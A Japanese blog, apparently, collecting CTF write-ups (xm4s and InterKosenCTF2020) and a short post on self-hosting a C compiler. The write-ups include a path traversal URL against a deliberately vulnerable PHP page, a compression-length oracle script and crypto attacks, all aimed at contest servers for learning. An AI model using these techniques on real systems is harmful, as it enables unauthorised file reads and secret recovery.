    # 関数の終了処理 (おまじない)
    leave
    ret

とても丁寧な解説があったが、アセンブリ読みたくなかったので気合で解くことにした（すみません） まずはanswerの文字列を入力したがWrong..と出たため違う方法を考える。 その上にkeyというのがあり、仕方なくアセンブリを少し読むとxor命令が出てきてたのでxor暗号的なやつと推測。 スクリプトを書く。 solve.py

key = ";,Z,.(7TWT2$jAU2#YLZ!QE^,(D h;H\t"
base = "CAn_U_Re4d_A55emBly?L3t's_tRY_it"


for i in range(len(base)):
    print(chr(ord(key[i])^ord(base[i])), end='')
$ python3 solve.py
xm4s{we1c0me_t0_a55emb1y_w0r1d!}%

実行すると答えが出た。

Crypto

do_you_know_RSA?

param.txt

N = 872466878637044085809546928077402525188932163354013071311247
p = 1202641222143185422372899516011
E = 65537
crypted message is 736752258923832368359268459529023058483734448152703465168101

RSAの初心者問題。解くだけ。 solve.py

N = 872466878637044085809546928077402525188932163354013071311247
p = 1202641222143185422372899516011
q = N // p
e = 65537
c = 736752258923832368359268459529023058483734448152703465168101
phi = (p-1) * (q-1)

from Crypto.Util.number import *

d = inverse(e, phi)
m = pow(c, d, N)

print(long_to_bytes(m))

$ python3 solve.py
b'xm4s{dont_leak_p_and_q!!}'

advanced_caesar

encrypted_flag.txt

xn4u{fejyhzwyjazwzqkszurwhyqaop}

flag形式がxm4sなのでそこから推測すると最初は0, 次は1, 2...nずれていることがわかるのでそれを元に戻す。 solve.py

s = 'xn4u{fejyhzwyjazwzqkszurwhyqaop}'

def caesar_decode(c, n):
    return chr((ord(c)-ord('a')-n) % 26 + ord('a'))

import codecs
i = 0
for c in s:
    if c.isalpha():
        print(caesar_decode(c, i), end='')
        i += 1
    else:
        print(c, end='')

$ python3 solve.py
xm4s{caesarnoyomikatagawakarann}%

bad_hash

hash.py

#!/bin/python3

def hash(base):
    xor_sum = 0
    mod_sum = 0
    for c in base.encode():
        xor_sum ^= c
        mod_sum += c
        mod_sum %= 100

    return (xor_sum, mod_sum)

with open("./password.txt") as f:
    answer = f.read()

ans_x, ans_m = hash(answer)
print(f'ans_x {ans_x}, ans_m {ans_m}')

user_input = input()
if 10 <= len(user_input):
    print("too long...")

inp_x, inp_m = hash(user_input)
print(f'inp_x {inp_x}, inp_m {inp_m}')

if ans_x == inp_x and ans_m == inp_m:
    print("You hava a password!!")
    with open('./flag.txt') as f:
        print(f.read())

$ nc 153.125.225.197 30010
ans_x 88, ans_m 36

どうやらans_xが88, ans_mが36になるような何かを入力すれば良いらしい。 綺麗な解法があるのだろうが、私はゴリ押しでやった。

solve.py

def hash(base):
    xor_sum = 0
    mod_sum = 0
    for c in base.encode():
        xor_sum ^= c
        mod_sum += c
        mod_sum %= 100

    return (xor_sum, mod_sum)


import string
for c1 in string.ascii_letters:
    for c2 in string.ascii_letters:
        for c3 in string.ascii_letters:
            s = c1+c2+c3
            print(s + ':' + str(hash(s)))

for文を三重にしたあたりで欲しい値が出たのでそれを使うことに。

$ python3 solve.py | grep 88 | grep 36
HJZ:(88, 36)
HZJ:(88, 36)
JHZ:(88, 36)
JJX:(88, 36)
JXJ:(88, 36)
JZH:(88, 36)
XJJ:(88, 36)
ZHJ:(88, 36)
ZJH:(88, 36)

どれかを使えば良いでこれを入力するとflagが出る。

$ nc 153.125.225.197 30010
ans_x 88, ans_m 36
HJZ
inp_x 88, inp_m 36
You hava a password!!
xm4s{xor_and_modsum!double_hash!!}

Web

bad_path

index.php

<?php

$content = "";
if (isset($_GET["ext"])) {
    $content = file_get_contents("resource/" . $_GET["ext"]);
}

?>

<!DOCTYPE html>
<html lang="ja">
<head>
   <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
   <title>HelloWorld</title>
   <style type="text/css">
        pre {
          margin: 1em 0;
          padding: 1em;
          background: #25292f;
          color: #fff;
          white-space: pre-wrap;
        }
    </style>
</head>
<body>
    <h1>Hello World!</h1>
    <form>
        <select name="ext">
            <option value="hello.js">JavaScript</option>
            <option value="hello.py">Python</option>
            <option value="hello.rs">Rust</option>
            <option value="hello.c">C</option>
        </select>
        <input type="submit" value="View">
    </form>
    <pre><?php echo htmlspecialchars($content, ENT_QUOTES) ?></pre>
</body>
</html>

Dockerfile

FROM php:8.0-apache

ADD ./index.php /var/www/html/index.php
ADD ./flag.txt /var/www/flag.txt
ADD ./resource/ /var/www/html/resource/

https://bad-path.xm4s.net/index.php?ext=../../flag.txtでアクセスするとflagが出る。

InterKosenCTF2020 writeup

CTF

InterKosenCTF2020へチームetherknotとして参加しました。
本番で解いた問題はciphertextsだけでしたが、1問でもチームに貢献できたのは少しだけ成長を感じました。
他の問題は手も足も出なかったので復習しつつwriteupを書こうと思います。

出題された問題まとめ

GitHub - theoremoon/InterKosenCTF2020-challenges

No pressure

問題
from Crypto.Cipher import ARC4
from hashlib import sha256
from base64 import b64encode
import zlib
import os

flag = open("./flag.txt", "rb").read()

nonce = os.urandom(32)
while True:
    m = input("message: ")
    arc4 = ARC4.new(sha256(nonce + m.encode()).digest())
    c = arc4.encrypt(zlib.compress(flag + m.encode()))
    print("encrypted! :", b64encode(c).decode())
解法

この問題はzlibの圧縮方式とRC4暗号がストリーム暗号のため暗号文の長さ==平文の長さというところに注目するらしいです。
zlibではgzip互換の圧縮を行います。
gzipではハフマン符号を使っているので同じ文字があると圧縮後の長さが短くなります。
圧縮する文字列はflag+mです。
そのためflagと同じ文字をmに入力すると圧縮結果が他のものと比べ短くなります。
それを利用して以下のようにブルートフォースをしてflagを求めます。

message: KosenCTF0
encrypted! : Y4CFC9swa7dx8K2rTBmb5YCrRGIRydbH+B8k2+wKNs49ZKSn6q/c0K+BVewfmxbh38Z48Ok4zrQVFuqTSsFuPOV0zUSAzy50FrV6Gf/1o2+P2Q==
message: KosenCTF1
encrypted! : WDXLybx1eLfLAecErH3bAOFBjOTFn60D0W4+L72R8DU3AqqoVes+inyIMdn0e9n/pQCSUsV/ps5uAL4PhYAP0lMU9fryBCK3hURmSSQXQ4gE0w==
message: KosenCTF{
encrypted! : IXIvFDbEHKCt0uzot+mUere+sAPka067nHBpjf+BEza1EAlD4XY5itNdQMOJ59uSqla9/L8vMq4XJFqMnFMCm7G7I+E9VlRJ5Ah8bhNEaQKq

flag形式はKosenCTF{hoge}なので{を入力した時だけ他と比べて暗号分が短くなっています。
このように先頭側から可能性のある文字列を総当たりで確かめていきます。

問題では圧縮後に暗号処理がかけられていますが、ストリーム暗号なので暗号化しても文字列長が変わらないためあまり気にしなくて良いみたいです(?)

これらを手動でやると死ぬほど時間がかかるのでスクリプトを書きます。

import string
from ptrlib import *
table = string.printable.strip()

sock = Socket('misc.kosenctf.com', 10002)
flag = 'KosenCTF'

while flag[-1] != '}':
    flags = []
    for c in table:
        s = flag + c
        sock.recvuntil('message: ')
        sock.sendline(s)
        sock.recvuntil('encrypted! : ')
        res = sock.recvline()
        flags.append((len(res), s))
        print(s)

    flag = sorted(flags)[0][1]
    print('flag:' + flag)

$ python3 solve.py
...

KosenCTF{DEFLATE_is_an_algorithm_that_combines_LZ77_and_Huffman_coding|
KosenCTF{DEFLATE_is_an_algorithm_that_combines_LZ77_and_Huffman_coding}
KosenCTF{DEFLATE_is_an_algorithm_that_combines_LZ77_and_Huffman_coding~
flag:KosenCTF{DEFLATE_is_an_algorithm_that_combines_LZ77_and_Huffman_coding}

フラグが得られました。
KosenCTF{DEFLATE_is_an_algorithm_that_combines_LZ77_and_Huffman_coding}

ciphertexts

問題
from Crypto.Util.number import *
import gmpy2
from flag import flag

p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
n1 = p * q
n2 = p * q * r

e1 = getPrime(20)
e2 = int(gmpy2.next_prime(e1))

m = bytes_to_long(flag)
c1 = pow(m, e1, n1)
c2 = pow(m, e2, n2)

print("n1 = {}".format(n1))
print("n2 = {}".format(n2))
print("e1 = {}".format(e1))
print("e2 = {}".format(e2))
print()
print("c1 = {}".format(c1))
print("c2 = {}".format(c2))

[output.txt]

n1 = 112027309284322736696115076630869358886830492611271994068413296220031576824816689091198353617581184917157891542298780983841631012944437383240190256425846911754031739579394796766027697768621362079507428010157604918397365947923851153697186775709920404789709337797321337456802732146832010787682176518192133746223
n2 = 1473529742325407185540416487537612465189869383161838138383863033575293817135218553055973325857269118219041602971813973919025686562460789946104526983373925508272707933534592189732683735440805478222783605568274241084963090744480360993656587771778757461612919160894779254758334452854066521288673310419198851991819627662981573667076225459404009857983025927477176966111790347594575351184875653395185719233949213450894170078845932168528522589013379762955294754168074749
e1 = 745699
e2 = 745709

c1 = 23144512980313393199971544624329972186721085732480740903664101556117858633662296801717263237129746648060819811930636439097159566583505473503864453388951643914137969553861677535238877960113785606971825385842502989341317320369632728661117044930921328060672528860828028757389655254527181940980759142590884230818
c2 = 546013011162734662559915184213713993843903501723233626580722400821009012692777901667117697074744918447814864397339744069644165515483680946835825703647523401795417620543127115324648561766122111899196061720746026651004752859257192521244112089034703744265008136670806656381726132870556901919053331051306216646512080226785745719900361548565919274291246327457874683359783654084480603820243148644175296922326518199664119806889995281514238365234514624096689374009704546
r = 13153308347214003895808482482560134291168062759481395072905040534352582007414334817264912952166654018868070502935227685202993199880073486359721153499496448
解法

この問題ではe_1とe_2の値が近かったのでm^{e_2} \bmod n_2はm^{e_2} \bmod n_1と変わらないのではないかと仮定しました。
そう仮定するとn1==n2のため共通法攻撃が刺さります。

from Crypto.Util.number import *
from ptrlib import *

m = common_modulus_attack((c1, c2), (e1, e2), n1)
print(long_to_bytes(m))
$ python3 solve.py
b'KosenCTF{HALDYN_D0M3}'

完璧に勘でしたがflagが出ました。
KosenCTF{HALDYN_D0M3}

他の方のwriteupを参考に式を書くと

c_2=m^{e_2} \bmod n_2\\ (m^{e_2} \bmod n_2) \bmod n_1 = m^{e_2} \bmod n_1\\ c_2 \bmod n_1 = m^{e_2} \bmod n1\\

※数学弱弱なので式がおかしいかもしれません。マサカリお待ちしています。

n1|n2 (n2%n1==0)からこういった式が書け共通法攻撃が可能であると判断できます。
proは違いますね...

おまけ

この問題は簡単でしたが早めに取り組んでいたのでetherknotが4番目に解いたチームになっていました。嬉しい。
この並びに名前が入ることは今後あるのでしょうか。

(嬉しくて記念撮影)
f:id:kisaragi211:20200911182424p:plain

bitcrypto

問題
from Crypto.Util.number import *
from secret import flag

def legendre_symbol(x, p):
    a = pow(x, (p-1) // 2, p)
    if a == 0:
        return 0
    elif a == 1:
        return 1
    else:
        return -1

def key_gen(bits):
    p = getPrime(bits)
    q = getPrime(bits)
    n = p * q

    while True:
        z = getRandomRange(2, n)
        a, b = legendre_symbol(z, p), legendre_symbol(z, q)
        if a == -1 and b == -1:
            break

    return (n, z), (p, q)

def enc(pubkey, m):
    n, z = pubkey
    bits = [int(b) for b in "{:b}".format(m)]

    c = []
    for b in bits:
        while True:
            x = getRandomRange(2, n)
            if GCD(x, n) == 1:
                break
        c.append( ((z**b) * (x**2)) % n )
    return c

def dec(privkey, c):
    p, q = privkey
    m = ""
    for b in c:
        if legendre_symbol(b, p) == 1 and legendre_symbol(b, q) == 1:
            m += "0"
        else:
            m += "1"
    return int(m, 2)

def main():
    pubkey, privkey = key_gen(256)

    keyword = "yoshiking, give me ur flag"
    m = input("your query: ")
    if any([c in keyword for c in m]):
        print("yoshiking: forbidden!")
        exit()

    if len(m) > 8:
        print("yoshiking: too long!")
        exit()

    c = enc(pubkey, bytes_to_long(m.encode()))
    print("token to order yoshiking: ", c)

    c = [int(x) for x in input("your token: ")[1:-1].split(",")]
    if len(c) != len(set(c)):
        print("yoshiking: invalid!")
        exit()

    if any([x < 0 for x in c]):
        print("yoshiking: wow good unintended-solution!")
        exit()

    m = long_to_bytes(dec(privkey, c))
    if m == keyword.encode():
        print("yoshiking: hi!!!! flag!!!! here!!! wowowowowo~~~~~~")
        print(flag)
    else:
        print(m)
        print("yoshiking: ...?")


if __name__ == '__main__':
    main()

Goldwasser-Micali cryptosystemに関連した問題だそうです。
Goldwasser-Micali ...初耳だ。

解法

問題の流れとしては
1.テキトーな値を入力する.(keywordに含まれていない文字)
2.復号するとkeywordになるようなtokenを入力する。
3.復号結果が正しければflagが入手できる。

大まかに言えばこんな流れなのですが、道中とても難しかったです。

多分本来の動きとしてはkeywordと同じ文字を打って、帰ってきたtokenをもう一度入力すれば正しく動作する。
みたいなことだと思うのですが、もちろんそれはできません。
なのでとりあえず'b'などを入力して最初の2つのif文を突破します。

keyword = "yoshiking, give me ur flag"
m = input("your query: ")
if any([c in keyword for c in m]):
    print("yoshiking: forbidden!")
    exit()

if len(m) > 8:
    print("yoshiking: too long!")
    exit()

次に入力した文字列に対するtokenが出力されるのですが、これも私は無視します。
proの方はこの値をうまく使うようですが私には無理でした。

で、いよいよここからが問題。
どうにかして復号したらkeywordのbitに対応するようなtokenを作らないといけません。

keyword = "yoshiking, give me ur flag"
target = '0111100101101111011100110110100001101001011010110110100101101110011001110010110000100000011001110110100101110110011001010010000001101101011001010010000001110101011100100010000001100110011011000110000101100111'

decをみてみると

def dec(privkey, c):
    p, q = privkey
    m = ""
    for b in c:
        if legendre_symbol(b, p) == 1 and legendre_symbol(b, q) == 1:
            m += "0"
        else:
            m += "1"
    return int(m, 2)

ルジャンドル記号(\frac{b}{p})=1,(\frac{b}{q})=1となるbを与えれば0,そうでなければ1が生成できることに気がつきます。
なのでこれらの条件を満たしそうなtokenを作成してtargetと同じbit列を作るようにします。

ここで使用するp,qは素数なので以下のような式が成り立ちそうです。

\displaystyle{ (\frac{a}{p}) \equiv a^{\frac{p-1}{2}} \bmod p\\ a = x^2\\ (\frac{x^2}{p}) \equiv {(x^2)}^{\frac{p-1}{2}} \bmod p\\ (\frac{x^2}{p}) \equiv {x^{p-1}} \bmod p\\ }

最後の{x^{p-1}} \bmod pはフェルマーの小定理より１になります。(なるそうです)
まあ何が言いたいかというとbを素数の二乗にすると1が生成できるということです。

１が無限に生成できるようになったのでbit列の0に対応する部分は大丈夫そうです。
あとは1の部分ですが、これもわかると実は簡単(?)
ルジャンドル記号には以下のような性質があります。

(\frac{ab}{p}) = (\frac{a}{p})(\frac{b}{p})

これを利用すれば平方剰余と \displaystyle{ (\frac{a}{p})=-1 } (平方非剰余)となるような値をかけることでこれまた-1を量産することができます。
-1を量産できると何が良いかというと、else文の方に分岐できるので1を量産できます。

1が量産できると0が量産できて、って感じで逆になっているので少しこんがらがります。

1つ(\frac{a}{p})=-1となるようなxを見つければあとは、x32, x52, ..., とxと素数を二乗したものをかければいけそうです。

書いたコード

from ptrlib import *
from Crypto.Util.number import bytes_to_long
from random import randrange, choice
from sympy import nextprime

target = '0111100101101111011100110110100001101001011010110110100101101110011001110010110000100000011001110110100101110110011001010010000001101101011001010010000001110101011100100010000001100110011011000110000101100111'
zero_cnt = target.count("0")
one_cnt  = target.count("1")
cnt = max(zero_cnt, one_cnt)

print(zero_cnt)
print(one_cnt)
print(cnt)

r = remote("crypto.kosenctf.com", 13003)
r.sendline(b"@")


zeros = []
prime = 3
for i in range(zero_cnt):
    zeros.append(prime**2)
    prime = nextprime(prime)

print(len(zeros))
print(zeros)

ones = [2]
for i in range(0, one_cnt):
    ones.append(ones[0]*zeros[i])

print(len(ones))
print(ones)

payload = []
one_i = 0
zero_i = 0
for i in target:
    if i == '1':
        payload.append(ones[one_i])
        one_i += 1
    else:
        payload.append(zeros[zero_i])
        zero_i += 1

print(payload)

r.sendline(str(payload))

r.interactive()

平方非剰余は2にしました。
2だと上手くいきます。詳しくはわかりません。教えてください。
平方数の性質がうんちゃらかんちゃら、っていう感じなのではないかと予想していますが...
なのでプログラムでは2x素数2を計算しています。
素数の列挙にはsympyにnextprimeという便利な関数があったのでそれを使いました。

$ python3 solve.py
your token: yoshiking: hi!!!! flag!!!! here!!! wowowowowo~~~~~~
KosenCTF{yoshiking_is_clever_and_wild_god_of_crypt}

フラグが入手できました。

KosenCTF{yoshiking_is_clever_and_wild_god_of_crypt}

感想

1問解けたのは良かったですが他が撃沈していたのでこれから頑張りたいです。
問題は難しかったですがとても楽しかったです。
まだ解いていない問題があるので、復習しながら随時writeup更新していきたいなと思っています。
数式が多分おかしなことになっていると思うので、指摘していただけるとありがたいです。

参考

writeup関連

InterKosenCTF 2020 で作問した - yoshikingのがんばる日記
InterKosenCTF 2020 の write-up - st98 の日記帳
ciphertexts [InterKosenCTF 2020] - HackMD
InterKosenCTF2020 writeup - みつみつみつですか？

補足知識関連

平方剰余とルジャンドル記号 - 美的数学のすすめ
ルジャンドル記号とオイラーの規準 | 高校数学の美しい物語

Cコンパイラをセルフホストするまで写経した話

RuiUeyamaさんのリポジトリを写経してたらセルフホスト達成したので記念記事を書きます。

私のコンパイラはこれ

github.com

参考にしたものはこれ

github.com

chibiccやprivateなリポジトリなど

www.sigbus.info

オンラインブックはもうなんか、すごい。
コンパイラ作成第一歩って感じがすごい。
コンパイラ作りて〜って思ったらこれ読めって感じがすごい。

はじめに

本来100学べるところを5くらいしか学べていないので、正直なところあまり成長できていません。
その中でも学べたところをアウトプットしようと思っていたのですが、少し前に別の方がセルフホストをした記事をqiitaにてアップされていました。
自身との理解の深さの違いに、完成後にもかかわらず自己嫌悪に陥っています...
なので...

もう一度コンパイラ作ります!!

反省とかできたところはまた二作目が一作目をコンパイルできるようになったら、書こうかなと思います。
言語はRustでいこうと思っています(断念する可能性有)
今までRust使ったことないので不安ですが、言語について学びながら言語処理についても学んでいこうと思います。

それでも少しだけ成長した部分

アセンブリが少しだけ読めるようになった。
仕様書と実装をにらめっこして "ふんふん" といいながら理解してる感を出せるようになった。
c言語の知らない仕様だったり、使ったことのない機能を知ることができた。

他にも有りそうですが、ざっと書いたらこんなもんですね。
学びの少なさを感じる。

最後に

今回一応セルフホスト達成したわけですが、これは一度忘れます。
プログラミング＆コンパイラ作り初心者として、初歩の初歩から頑張ります。